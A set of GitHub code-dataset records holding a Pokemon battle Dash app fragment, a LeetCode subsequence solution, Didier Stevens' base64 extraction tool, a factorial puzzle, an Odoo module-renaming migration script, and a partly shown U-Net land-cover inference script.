moveset[move_index].lower()\n\n log = game_round(pokemons[player], pokemons[opp], moves[move_chosen], moves[opp_move])\n\n # health percents\n player_hp_pct = (pokemons[player].health / pokemons[player].max_health) * 100\n opp_hp_pct = (pokemons[opp].health / pokemons[opp].max_health) * 100\n\n # check if pokemon fainted\n if player_hp_pct > 0:\n player_health = str(player_hp_pct) + '%'\n else:\n player_health = '0%'\n won = True\n winner = opp\n if opp_hp_pct > 0:\n opp_health = str(opp_hp_pct) + '%'\n else:\n opp_health = '0%'\n won = True\n winner = player\n\n # ad\n if curr_log:\n log = html.P([curr_log, html.Br(), log])\n else:\n log = html.P([log, html.Br()])\n\n return won, winner, {'width': player_health, 'height': '100%', 'backgroundColor': 'green',\n 'borderRadius': '3px'}, {'width': opp_health, 'height': '100%',\n 'backgroundColor': 'green', 'borderRadius': '3px'}, log\n\n return False, '', {'width': '100%', 'height': '100%', 'backgroundColor': 'green', 'borderRadius': '3px'}, \\\n {'width': '100%', 'height': '100%', 'backgroundColor': 'green', 'borderRadius': '3px'}, curr_log\n\n\n@app.callback(\n [Output('win-text', 'children'),\n Output('win-text', 'style'),\n Output('win-text-box', 'style')],\n [Input('won', 'data'),\n Input('winner', 'data')]\n)\ndef show_win(won, winner):\n \"\"\" display winner and style win statement \"\"\"\n if won:\n return winner + ' Wins!', {'color': '#414141', 'opacity': '1', 'fontSize': '50px', 'margin': '15vh 22vw',\n 'textAlign': 'center'}, \\\n {'backgroundColor': 'white', 'opacity': '0.4', 'height': '50vh', 'width': '55vw', 'position': 'absolute'}\n\n return '', {}, {}\n\n\n@app.callback(\n Output('hidden-div', 'children'),\n Input('new-game-button', 'n_clicks'),\n [State('player-pokemon', 'data'),\n State('opponent-pokemon', 'data'),\n State('start-stats', 'data')],\n prevent_initial_call=True\n)\ndef reset_pokes(new, player, opp, stats):\n \"\"\"\n Resets the pokemon stats of each pokemon\n Args:\n new: triggers function on new game opened\n player: name of player pokemon\n opp: name of opponent pokemon\n stats: original stats to reset to\n\n Returns: nothing. resets pokemon objects\n\n \"\"\"\n if stats:\n pokemons[player].wipe(stats['player'])\n pokemons[opp].wipe(stats['opponent'])\n return ''\n\n\n# Run the app on localhost:8050\nif __name__ == '__main__':\n app.run_server(debug=True)","repo_name":"kaldenh/pokemon_simulator","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":16255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10077003928","text":"# encoding=utf8\n\n\n'''\n392. 判断子序列\n给定字符串 s 和 t ,判断 s 是否为 t 的子序列。\n\n你可以认为 s 和 t 中仅包含英文小写字母。字符串 t 可能会很长(长度 ~= 500,000),而 s 是个短字符串(长度 <=100)。\n\n字符串的一个子序列是原始字符串删除一些(也可以不删除)字符而不改变剩余字符相对位置形成的新字符串。(例如,\"ace\"是\"abcde\"的一个子序列,而\"aec\"不是)。\n\n示例 1:\ns = \"abc\", t = \"ahbgdc\"\n\n返回 true.\n\n示例 2:\ns = \"axc\", t = \"ahbgdc\"\n\n返回 false.\n\n后续挑战 :\n\n如果有大量输入的 S,称作S1, S2, ... , Sk 其中 k >= 10亿,你需要依次检查它们是否为 T 的子序列。在这种情况下,你会怎样改变代码?\n\n\n392. Is Subsequence\nGiven a string s and a string t, check if s is subsequence of t.\n\nA subsequence of a string is a new string which is formed from the original string by deleting some (can be none) of the characters without disturbing the relative positions of the remaining characters. (ie, \"ace\" is a subsequence of \"abcde\" while \"aec\" is not).\n\nFollow up:\nIf there are lots of incoming S, say S1, S2, ... , Sk where k >= 1B, and you want to check one by one to see if T has its subsequence. In this scenario, how would you change your code?\n\nCredits:\nSpecial thanks to @pbrother for adding this problem and creating all test cases.\n\n\n\nExample 1:\n\nInput: s = \"abc\", t = \"ahbgdc\"\nOutput: true\nExample 2:\n\nInput: s = \"axc\", t = \"ahbgdc\"\nOutput: false\n\n\nConstraints:\n\n0 <= s.length <= 100\n0 <= t.length <= 10^4\nBoth strings consists only of lowercase characters.\n'''\n\n\nclass Solution(object):\n def isSubsequence(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n if not s:\n return True\n i, j = 0, 0\n while i < len(s) and j < len(t):\n if t[j] == s[i]:\n i += 1\n j += 1\n if i == len(s):\n return True\n return i == len(s)\n\n\n# golang solutions\n\n'''\nfunc isSubsequence(s string, t string) bool {\n\n i, j := 0, 0\n for i < len(s) && j < len(t){\n if s[i] == t[j]{\n i++\n }\n j++\n }\n if i == len(s){\n return true\n }\n return false\n\n}\n'''\n","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/binary_search/leetcode-392-IsSubsequence.py","file_name":"leetcode-392-IsSubsequence.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32429370628","text":"#!/usr/bin/env python\n\n__description__ = 'Extract base64 strings from file'\n__author__ = 'Didier Stevens'\n__version__ = '0.0.1'\n__date__ = '2015/07/01'\n\n\"\"\"\n\nSource code put in public domain by Didier Stevens, no Copyright\nhttps://DidierStevens.com\nUse at your own risk\n\nHistory:\n 2015/06/30: start\n 2015/07/01: added header\n\nTodo:\n\"\"\"\n\nimport optparse\nimport sys\nimport os\nimport zipfile\nimport cStringIO\nimport binascii\nimport textwrap\nimport re\nimport hashlib\n\ndumplinelength = 16\nMALWARE_PASSWORD = 'infected'\n\ndef PrintManual():\n manual = '''\nManual:\n\n'''\n for line in manual.split('\\n'):\n print(textwrap.fill(line))\n\n#Convert 2 Bytes If Python 3\ndef C2BIP3(string):\n if sys.version_info[0] > 2:\n return bytes([ord(x) for x in string])\n else:\n return string\n\n# CIC: Call If Callable\ndef CIC(expression):\n if callable(expression):\n return expression()\n else:\n return expression\n\n# IFF: IF Function\ndef IFF(expression, valueTrue, valueFalse):\n if expression:\n return CIC(valueTrue)\n else:\n return CIC(valueFalse)\n\ndef File2String(filename):\n try:\n f = open(filename, 'rb')\n except:\n return None\n try:\n return f.read()\n except:\n return None\n finally:\n f.close()\n\nclass cDumpStream():\n def __init__(self):\n self.text = ''\n\n def Addline(self, line):\n if line != '':\n self.text += line + '\\n'\n\n def Content(self):\n return self.text\n\ndef HexDump(data):\n oDumpStream = cDumpStream()\n hexDump = ''\n for i, b in enumerate(data):\n if i % dumplinelength == 0 and hexDump != '':\n oDumpStream.Addline(hexDump)\n hexDump = ''\n hexDump += IFF(hexDump == '', '', ' ') + '%02X' % ord(b)\n oDumpStream.Addline(hexDump)\n return oDumpStream.Content()\n\ndef CombineHexAscii(hexDump, asciiDump):\n if hexDump == '':\n return ''\n return hexDump + ' ' + (' ' * (3 * (dumplinelength - len(asciiDump)))) + asciiDump\n\ndef HexAsciiDump(data):\n oDumpStream = cDumpStream()\n hexDump = ''\n asciiDump = ''\n for i, b in enumerate(data):\n if i % dumplinelength == 0:\n if hexDump != '':\n oDumpStream.Addline(CombineHexAscii(hexDump, asciiDump))\n hexDump = '%08X:' % i\n asciiDump = ''\n hexDump+= ' %02X' % ord(b)\n asciiDump += IFF(ord(b) >= 32, b, '.')\n oDumpStream.Addline(CombineHexAscii(hexDump, asciiDump))\n return oDumpStream.Content()\n\n#Fix for http://bugs.python.org/issue11395\ndef StdoutWriteChunked(data):\n while data != '':\n sys.stdout.write(data[0:10000])\n try:\n sys.stdout.flush()\n except IOError:\n return\n data = data[10000:]\n\ndef IfWIN32SetBinary(io):\n if sys.platform == 'win32':\n import msvcrt\n msvcrt.setmode(io.fileno(), os.O_BINARY)\n\ndef File2Strings(filename):\n try:\n f = open(filename, 'r')\n except:\n return None\n try:\n return map(lambda line:line.rstrip('\\n'), f.readlines())\n except:\n return None\n finally:\n f.close()\n\ndef ProcessAt(argument):\n if argument.startswith('@'):\n strings = File2Strings(argument[1:])\n if strings == None:\n raise Exception('Error reading %s' % argument)\n else:\n return strings\n else:\n return [argument]\n\ndef ExpandFilenameArguments(filenames):\n return list(collections.OrderedDict.fromkeys(sum(map(glob.glob, sum(map(ProcessAt, filenames), [])), [])))\n\ndef AsciiDump(data):\n return ''.join([IFF(ord(b) >= 32, b, '.') for b in data])\n\ndef BASE64Dump(filename, options):\n if filename == '':\n IfWIN32SetBinary(sys.stdin)\n oStringIO = cStringIO.StringIO(sys.stdin.read())\n elif filename.lower().endswith('.zip'):\n oZipfile = zipfile.ZipFile(filename, 'r')\n oZipContent = oZipfile.open(oZipfile.infolist()[0], 'r', C2BIP3(MALWARE_PASSWORD))\n oStringIO = cStringIO.StringIO(oZipContent.read())\n oZipContent.close()\n oZipfile.close()\n else:\n oStringIO = cStringIO.StringIO(open(filename, 'rb').read())\n\n if options.dump:\n DumpFunction = lambda x:x\n IfWIN32SetBinary(sys.stdout)\n elif options.hexdump:\n DumpFunction = HexDump\n else:\n DumpFunction = HexAsciiDump\n\n if options.select == '':\n formatString = '%-2s %-7s %-16s %-16s %-32s'\n columnNames = ('ID', 'Size', 'BASE64', 'Decoded', 'MD5 decoded')\n print(formatString % columnNames)\n print(formatString % tuple(['-' * len(s) for s in columnNames]))\n\n counter = 1\n data = oStringIO.read()\n for base64string in re.findall('[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/]+={0,2}', data):\n if len(base64string) % 4 == 0:\n try:\n base64data = binascii.a2b_base64(base64string)\n except:\n break\n if options.select == '':\n print('%2d: %7d %-16s %-16s %s' % (counter, len(base64string), base64string[0:16], AsciiDump(base64data[0:16]), hashlib.md5(base64data).hexdigest()))\n elif ('%s' % counter) == options.select:\n StdoutWriteChunked(DumpFunction(base64data))\n counter += 1\n\n return 0\n\ndef Main():\n oParser = optparse.OptionParser(usage='usage: %prog [options] [file]\\n' + __description__, version='%prog ' + __version__)\n oParser.add_option('-m', '--man', action='store_true', default=False, help='Print manual')\n oParser.add_option('-s', '--select', default='', help='select item nr for dumping (a for all)')\n oParser.add_option('-d', '--dump', action='store_true', default=False, help='perform dump')\n oParser.add_option('-x', '--hexdump', action='store_true', default=False, help='perform hex dump')\n oParser.add_option('-a', '--asciidump', action='store_true', default=False, help='perform ascii dump')\n (options, args) = oParser.parse_args()\n\n if options.man:\n oParser.print_help()\n PrintManual()\n return 0\n\n if len(args) > 1:\n oParser.print_help()\n print('')\n print(' Source code put in the public domain by Didier Stevens, no Copyright')\n print(' Use at your own risk')\n print(' https://DidierStevens.com')\n return 0\n elif len(args) == 0:\n return BASE64Dump('', options)\n else:\n return BASE64Dump(args[0], options)\n\nif __name__ == '__main__':\n sys.exit(Main())\n","repo_name":"ryanmrestivo/red-team","sub_path":"Forensic-Reverse-Engineering-Password-Attacks-&-Analysis/_Password_Attacks_Decode_&_Hashes/base64dump.py","file_name":"base64dump.py","file_ext":"py","file_size_in_byte":6522,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"9709977811","text":"def factorial(n):\r\n if n == 0:\r\n return 1\r\n else:\r\n return n * factorial(n - 1)\r\n\r\n\r\nN = int(input())\r\n\r\nif N == 0:\r\n print(\"NO\")\r\n exit(0)\r\nelse:\r\n for i in range(20, -1, -1):\r\n if N >= factorial(i):\r\n N -= factorial(i)\r\nif N == 0:\r\n print(\"YES\")\r\nelse:\r\n print(\"NO\")","repo_name":"skh990427/Baekjoon","sub_path":"백준/Silver/2057. 팩토리얼 분해/팩토리얼 분해.py","file_name":"팩토리얼 분해.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33134419631","text":"import logging\nimport os\nimport pathlib\nimport subprocess\n\n_logger = logging.getLogger(__name__)\n\n\ndef all_databases():\n result = subprocess.run([\"ociedoo\", \"list-db\"], check=True, stdout=subprocess.PIPE)\n output = result.stdout.decode(\"utf-8\")\n return [line for line in output.splitlines() if line]\n\n\ndef filter_databases(databases):\n return [database for database in databases if database.endswith(\"-test\")]\n\n\ndef main():\n os.chdir(pathlib.Path(__file__).parent)\n logging.basicConfig(level=logging.INFO)\n # don't filter databases\n # databases = filter_databases(all_databases())\n databases = filter_databases(all_databases())\n for database in databases:\n # don't create new DB\n new_database = database\n # _logger.info(f\"Removing {new_database} if it exists\")\n # subprocess.run([\"ociedoo\", \"drop-db\", new_database])\n # _logger.info(f\"Creating {new_database} from {database}\")\n # subprocess.run([\"ociedoo\", \"copy-db\", database, new_database], check=True)\n _logger.info(f\"Running renaming migration on {new_database}\")\n subprocess.run([\"./rename_deprecated_modules.sh\", new_database], check=True)\n _logger.info(f\"Done with renaming migration of {new_database}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"coopiteasy/vertical-cooperative","sub_path":"rename_all_deprecated_modules.py","file_name":"rename_all_deprecated_modules.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"21"} +{"seq_id":"33687583240","text":"from argparse import ArgumentParser\n\nimport logging\nimport time\nfrom sklearn import multiclass\nimport torch\nimport torchmetrics\nfrom torchmetrics import ConfusionMatrix\nfrom pytorch_lightning import LightningModule, Trainer, seed_everything\nfrom torch.nn import functional as F\nimport numpy as np\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom sklearn.metrics import ConfusionMatrixDisplay, confusion_matrix\nimport rasterio\nfrom rasterio import windows\nfrom rasterio.windows import Window\nfrom rasterio.transform import Affine\nfrom rasterio.crs import CRS\n\nfrom tqdm import tqdm\nfrom skimage.exposure import match_histograms\n\nfrom itertools import product\nimport matplotlib.pyplot as plt\n\n#from pl_bolts.models.vision.unet import UNet\nfrom unet_3enco_sum import unet_3enco_sum\nfrom pytorch_lightning.callbacks import Callback, ModelCheckpoint, LearningRateMonitor\n\n\n# Custom LR\nfrom utils import get_datasets_inference, get_datasets\nfrom dataset import inference_on_full_image_dataset\n\n# Custom loss\nfrom custom_loss import FocalLoss\n\n# Add to specified some tensor to GPU\ndevice = torch.device(\"cuda:0\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\nclass SemSegment(LightningModule):\n def __init__(\n self,\n #lr: float = 0.001,\n #num_classes: int = 19,\n num_classes: int = 8,\n #num_layers: int = 5,\n features_start: int = 64,\n bilinear: bool = True,\n\n ):\n \"\"\"\n Adapted from the implementation of `Annika Brundyn ` in PyTorch lightning\n\n Args:\n num_layers: number of layers in each side of U-net (default 5)\n features_start: number of features in first layer (default 64)\n bilinear: whether to use bilinear interpolation (True) or transposed convolutions (default) for upsampling.\n lr: learning (default 0.01)\n \"\"\"\n super().__init__()\n \n self.num_classes = num_classes\n self.num_layers = num_layers_main\n self.features_start = features_start\n self.bilinear = bilinear\n self.lr = lr_main\n self.new_time = time.time()\n self.train_time_list = []\n\n # Metrics \n # self.train_accuracy = torchmetrics.Accuracy(mdmc_average='samplewise')\n # self.val_accuracy = torchmetrics.Accuracy(mdmc_average='samplewise')\n # self.train_f1 = torchmetrics.F1Score(mdmc_average='samplewise')\n # self.val_f1 = torchmetrics.F1Score(mdmc_average='samplewise')\n\n # Model\n self.net = unet_3enco_sum(\n num_classes=num_classes,\n input_channels=input_channel_main,\n input_channels_lidar=input_channel_lidar,\n input_channels_radar=input_channel_radar,\n num_layers=self.num_layers,\n features_start=self.features_start,\n bilinear=self.bilinear,\n )\n\n # def forward(self, x):\n # return self.net(x)\n\n def forward(self, x, y, z):\n return self.net(x, y, z)\n\n @torch.no_grad()\n def test_step(self, batch, batch_idx):\n self.trainer.model.eval()\n\n #img, lidar, mask, radar, img_path = batch \n #img, lidar, radar, img_path = batch \n\n\n\n # # stack both sentinel 2 images\n # img_opt = np.dstack((sen2_ete_img, sen2_print_img))\n\n # #img_lidar = np.dstack((img_mnt, img_mhc, img_slopes, img_tpi, img_tri, img_twi))\n # img_lidar = np.dstack((img_mhc, img_slopes, img_tpi, img_tri, img_twi))\n\n # # if img_lidar.dtype != 'float32':\n # # img_lidar = np.float32(img_lidar) # Only for overlapping dataset #TODO\n # # else:\n # # pass\n\n\n # img_rad = np.dstack((sen1_ete_img, sen1_print_img)) # stack both sen-1 images\n\n # # Cast to tensor for better permute\n # img_opt = torch.from_numpy(img_opt)\n # img_opt = img_opt.permute(2,0,1)\n\n # # Apply standardization (see : discuss.pytorch.org/t/how-to-normalize-multidimensional-tensor/65304)\n # #img_opt = img_opt.sub_(combined_mean[:, None, None]).div_(combined_std[:, None, None])\n\n # k_lidar_means = torch.tensor([13.348262, 13.45669, -0.006740755, -3.689763, 5.7766604])\n # k_lidar_stds = torch.tensor([7.7406297, 13.942361, 1.3129127, 241.4134, 5.6496654])\n\n # img_lidar = torch.from_numpy(img_lidar)\n # img_lidar = img_lidar.permute(2,0,1)\n\n # # Standardization\n # img_lidar = img_lidar.sub_(k_lidar_means[:, None, None]).div_(k_lidar_stds[:, None, None])\n\n # img_rad = torch.from_numpy(img_rad)\n # img_rad = img_rad.permute(2,0,1)\n\n # img = img_opt.float() # x\n # lidar = img_lidar.float()\n # #mask = mask.long() # y \n # radar = img_rad.float() # z\n\n img = bands[0:23]\n radar = bands[24:29]\n lidar = bands[30:34]\n\n preds = self(img, lidar, radar) # predictions\n\n # preds_temp = preds.argmax(dim=1).unsqueeze(1)\n # preds_recast = preds_temp.type(torch.IntTensor).to(device=device) \n\n # confmat = ConfusionMatrix(num_classes=8).to(device=device)\n # conf_print = confmat(preds_recast, mask)\n \n #return {'conf matrice': conf_print, 'preds' : preds, 'img' : img, 'lidar' : lidar, 'mask' : mask, 'radar' : radar, 'img_path' : img_path}\n #return {'preds' : preds, 'img' : img, 'lidar' : lidar, 'radar' : radar, 'img_path' : img_path}\n \n # @torch.no_grad()\n # def test_epoch_end(self, outputs):\n # # TODO Add logs to test aswell?\n\n # for x in range(len(outputs)):\n # fig = plt.figure()\n # cm = outputs[x]['conf matrice'].cpu().numpy()\n # disp = ConfusionMatrixDisplay(confusion_matrix=cm)\n # disp.plot()\n # plt.savefig(\"lightning_logs/inference_{version}/cm_{num}.png\".format(version = log_version, num = x))\n # plt.close(fig)\n\n # # Extract CRS and transforms\n # img_path = outputs[x]['img_path']\n # src = rasterio.open(img_path[0])\n # sample_crs = src.crs\n # transform_ori = src.transform\n # src.close() # Needed?\n\n # ori_input = outputs[x]['img'][0].cpu().numpy()\n # ori_target = outputs[x]['mask'][0].cpu().numpy()\n # predict_sig = outputs[x]['preds'][0].cpu().argmax(dim=0).numpy().astype(np.int32)\n\n # # write predict image to file\n # tiff_save_path = \"lightning_logs/inference_{version}/predict_geo_{num}.tif\".format(version = log_version, num = x)\n # #tiff_save_path = \"lightning_logs/version_{version}/predict_geo_{num}.tif\".format(version = log_version, num = x)\n\n # predict_img = rasterio.open(tiff_save_path, 'w', driver='GTiff',\n # height = input_tile_size, width = input_tile_size,\n # count=1, dtype=str(predict_sig.dtype),\n # crs=sample_crs,\n # transform=transform_ori)\n\n # predict_img.write(predict_sig, 1)\n # predict_img.close()\n\n # fig = plt.figure()\n # plt.subplot(1,3,1)\n # plt.imshow(np.transpose(ori_input[[3,2,1],:,:],(1,2,0))*3)\n # plt.title(\"Input\")\n # plt.subplot(1,3,2)\n # plt.imshow(predict_sig)\n # plt.title(\"Predict\")\n # plt.subplot(1,3,3)\n # plt.imshow(ori_target)\n # plt.title(\"Target\")\n\n # plt.savefig(\"lightning_logs/inference_{version}/fig_{num}.png\".format(version = log_version, num = x))\n # plt.close(fig)\n\n # self.trainer.model.train()\n\n # @staticmethod\n # def add_model_specific_args(parent_parser):\n # parser = ArgumentParser(parents=[parent_parser], add_help=False)\n # parser.add_argument(\"--lr\", type=float, default=0.01, help=\"adam: learning rate\")\n # parser.add_argument(\"--num_layers\", type=int, default=5, help=\"number of layers on u-net\")\n # parser.add_argument(\"--features_start\", type=float, default=64, help=\"number of features in first layer\")\n # parser.add_argument(\n # \"--bilinear\", action=\"store_true\", default=False, help=\"whether to use bilinear interpolation or transposed\"\n # )\n\n # return parser\n\n# Utils fonction outside of main class\n# Windowed iteration inspired by : https://gis.stackexchange.com/questions/396891/parsing-through-a-sentinel-2-tile\n## TODO Move create stack to utilities \ndef create_stacked_image():\n file_list = [path_to_full_sen2_ete, path_to_full_sen2_print, path_to_full_sen1_ete, path_to_full_sen1_print, path_to_full_mhc, path_to_full_slopes, path_to_full_tpi, path_to_full_tri, path_to_full_twi]\n nb_of_layers = 35\n\n # Read metadata of first file\n with rasterio.open(file_list[0]) as src0:\n meta = src0.meta\n\n # Update meta to reflect the number of layers\n #meta.update(count = len(file_list))\n meta.update(count = nb_of_layers)\n\n # Read each layer and write it to stack\n # with rasterio.open('stack.tif', 'w', **meta) as dst:\n # for id, layer in enumerate(file_list, start=1):\n # print(id, layer)\n # with rasterio.open(layer) as src1:\n # dst.write_band(id, src1.read(1))\n\n with rasterio.open('/mnt/SN750/stack_with_STD_HM_v2.tif', 'w', **meta) as dst:\n id = 1\n for images in file_list:\n print(\"Writing image from : \", images)\n with rasterio.open(images) as src_tmp:\n array = src_tmp.read(out_dtype='float32')\n for bands in array:\n print(\"Writing bands no : \", id)\n dst.write_band(id, bands)\n id += 1\n\ndef iter_windows(src_ds, width, height, boundless=False):\n offsets = product(range(0, src_ds.meta['width'], width), range(0, src_ds.meta['height'], height))\n big_window = windows.Window(col_off=0, row_off=0, width=src_ds.meta['width'], height=src_ds.meta['height'])\n for col_off, row_off in offsets:\n\n window = windows.Window(col_off=col_off, row_off=row_off, width=width, height=height)\n\n if boundless:\n yield window\n else:\n yield window.intersection(big_window)\n\n# def iter_windows_no_meta(src_ds, width, height, boundless=False):\n\n# offsets = product(range(0, src_ds.shape[1], width), range(0, src_ds.shape[2], height))\n# big_window = windows.Window(col_off=0, row_off=0, width=src_ds.shape[1], height=src_ds.shape[2])\n# for col_off, row_off in offsets:\n\n# window = windows.Window(col_off=col_off, row_off=row_off, width=width, height=height)\n\n# if boundless:\n# yield window\n# else:\n# yield window.intersection(big_window)\n\n# From : https://pyimagesearch.com/2015/03/23/sliding-windows-for-object-detection-with-python-and-opencv/\n# Input image shape should be C x H x W\n\ndef iter_windows_no_meta(src_ds, stepsize, height, width):\n for y in range(0, src_ds.shape[1], stepsize):\n for x in range(0, src_ds.shape[2], stepsize):\n yield (x, y, src_ds[:, y:y + height, x:x + width])\n\ndef inference_from_ckpt(ckpt_path, bands):\n model = SemSegment.load_from_checkpoint(\n checkpoint_path=ckpt_path,\n )\n\n #trainer = Trainer(accelerator='gpu', devices=1)\n #trainer.test(model)\n #trainer.predict(model, dataloaders=None)\n #img_sen2_print = \n\n\n # Input need shape (B X C X H X W) where B is the batchsize, that is why we unsqueeze to have B = 1\n img = torch.from_numpy(bands[0:24]).unsqueeze(0)\n radar = torch.from_numpy(bands[24:30]).unsqueeze(0)\n\n lidar = torch.from_numpy(bands[30:35])\n\n # Temporary std and means for lidar\n k_lidar_means = torch.tensor([13.348262, 13.45669, -0.006740755, -3.689763, 5.7766604])\n k_lidar_stds = torch.tensor([7.7406297, 13.942361, 1.3129127, 241.4134, 5.6496654])\n\n estrie_lidar_mean = torch.tensor([7.798849, 5.5523205, 0.0029951811, 0.06429929, 6.7409873])\n estrie_lidar_std = torch.tensor([7.033332, 5.196636, 1.0641352, 0.06102526, 3.182435])\n\n lidar = lidar.sub_(k_lidar_means[:, None, None]).div_(k_lidar_stds[:, None, None])\n #lidar = lidar.sub_(estrie_lidar_mean[:, None, None]).div_(estrie_lidar_std[:, None, None])\n\n lidar = lidar.unsqueeze(0)\n\n model.eval()\n pred = model(img, lidar, radar)\n\n #pred_temp = pred.argmax(dim=1).unsqueeze(1)\n #pred_recast = pred_temp.type(torch.IntTensor).to(device=device) \n\n predict_sig = pred[0].detach().argmax(dim=0) #.numpy().astype(np.int16)\n #predict_sig = pred.detach().argmax(dim=1) #.numpy() #.astype(np.int16)\n\n return predict_sig\n\n# #TODO move to utils when clean\n# def histo_matching(target_arr, ref_arr):\n\n\n# ar_k = match_histograms(target_arr, ref_arr channel_axis=0)\n\n\nif __name__ == \"__main__\":\n # Activate logging\n logging.basicConfig()\n\n # Optional timer activation\n #start_time_glob = time.time()\n\n # Model parameters\n num_layers_main = 4\n lr_main = 0.001\n input_channel_main = 24\n input_channel_lidar = 5\n input_channel_radar = 6\n\n ## TODO Move create stack to utilities \n # Paths to original data (no standardization or histogram matching)\n # path_to_full_sen2_ete = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/sen2/ete/s2_kenauk_3m_ete_aout2020.tif'\n # path_to_full_sen2_print = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/sen2/print/S2_de_kenauk_3m_printemps_mai2020.tif' \n # path_to_full_sen1_ete = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/sen1/ete/s1_kenauk_3m_ete_aout2020.tif' \n # path_to_full_sen1_print = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/sen1/print/S1_kenauk_3m_printemps_mai2020.tif' \n # path_to_full_mhc = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/mhc_kenauk_3m.tif' \n # path_to_full_slopes = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/pentes_kenauk_3m.tif' \n # path_to_full_tpi = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/tpi_kenauk_3m.tif' \n # path_to_full_tri = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/tri_kenauk_3m.tif' \n # path_to_full_twi = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/twi_kenauk_3m.tif' \n\n # Paths to standardize and/or histogram matched dataa\n path_to_full_sen2_ete = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/raw_standard/s2_kenauk_3m_ete_HMe_STD.tif' \n path_to_full_sen2_print = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/raw_standard/s2_kenauk_3m_print_HMe_STD.tif' \n path_to_full_sen1_ete = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/raw_standard/s1_kenauk_3m_ete_STD.tif' \n path_to_full_sen1_print = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/raw_standard/s1_kenauk_3m_print_STD.tif' \n path_to_full_mhc = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/mhc_kenauk_3m.tif' \n path_to_full_slopes = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/pentes_kenauk_3m.tif' \n path_to_full_tpi = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/tpi_kenauk_3m.tif' \n path_to_full_tri = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/tri_kenauk_3m.tif' \n path_to_full_twi = '/mnt/Data/00_Donnees/02_maitrise/01_trainings/kenauk/processed_raw/lidar/twi_kenauk_3m.tif' \n\n #create_stacked_image()\n\n # with rasterio.open(path_to_full_tri) as dst:\n # array = dst.read(out_dtype='float32')\n # for bands in array:\n # print(bands)\n\n # # id = 1\n # # for images in file_list:\n # # print(\"Writing image from : \", images)\n # # with rasterio.open(images) as src_tmp:\n # # array = src_tmp.read(out_dtype='float32')\n # # for bands in array:\n # # print(\"Writing bands no : \", id)\n # # dst.write_band(id, bands)\n # # id += 1\n\n size = 256\n path_to_stack_img = '/mnt/SN750/stack_with_STD_HM_v2.tif'\n\n # #TODO automatiser les paths\n # # Evaluate \n ckpt_path = \"/mnt/Data/01_Codes/00_Github/Unet_lightning/lightning_logs/version_182/checkpoints/epoch=48-step=41797.ckpt\"\n #ckpt_path = \"/mnt/Data/01_Codes/00_Github/Unet_lightning/lightning_logs/version_182/checkpoints/epoch=46-step=40091.ckpt\"\n log_version = \"182_kenauk_2020_4\"\n\n #With premade stack \n logging.info('Starting prediction on full image')\n with rasterio.open(path_to_stack_img) as ds:\n profile = ds.profile\n profile['count'] = 1 # assume output is a single band raster\n with rasterio.open(path_to_stack_img.replace(\".tif\", \"_clc_nometa_std_hm_sen2_tpi_correct_v4_estrie.tif\"), \"w\", **profile) as out_ds:\n #for window in tqdm(iter_windows(ds, size, size), total=len(list(iter_windows(ds, size, size))), desc='Predicting and creating output'):\n for window in tqdm(iter_windows(ds, size, size), total=len(list(iter_windows(ds, size, size))), desc='Predicting and creating output'):\n bands = ds.read(window=window, out_dtype='float32')\n tile = inference_from_ckpt(ckpt_path, bands)\n out_ds.write(tile, 1, window=window)\n logging.info('Prediction finished')\n\n\n ## With loading data directly\n # profile_temp = {'driver': 'GTiff', \n # 'dtype': 'uint16', \n # 'nodata': None, \n # 'width': 7836, \n # 'height': 6101, \n # 'count': 1, \n # 'crs': CRS.from_epsg(32198), \n # 'transform': Affine(3.0, 0.0, -544994.0388, 0.0, -3.0, 234380.8231), \n # 'tiled': False, 'interleave': 'pixel'}\n\n\n # logging.info('Starting prediction on full image')\n\n # with rasterio.open(path_to_stack_img) as ds:\n # # sentinel 2 images\n # sen2_ete_img = ds.read((1,2,3,4,5,6,7,8,9,10,11,12), out_dtype='float32')\n # sen2_print_img = ds.read((13,14,15,16,17,18,19,20,21,22,23,24), out_dtype='float32')\n\n # # sentinel-1 images\n # sen1_ete_img = ds.read((25,26,27), out_dtype='float32')\n # sen1_print_img = ds.read((28,29,30), out_dtype='float32')\n\n # # lidar images\n # img_mhc = np.expand_dims(ds.read((31), out_dtype='float32'), 0)\n # img_slopes = np.expand_dims(ds.read((32), out_dtype='float32'), 0)\n # img_tpi = 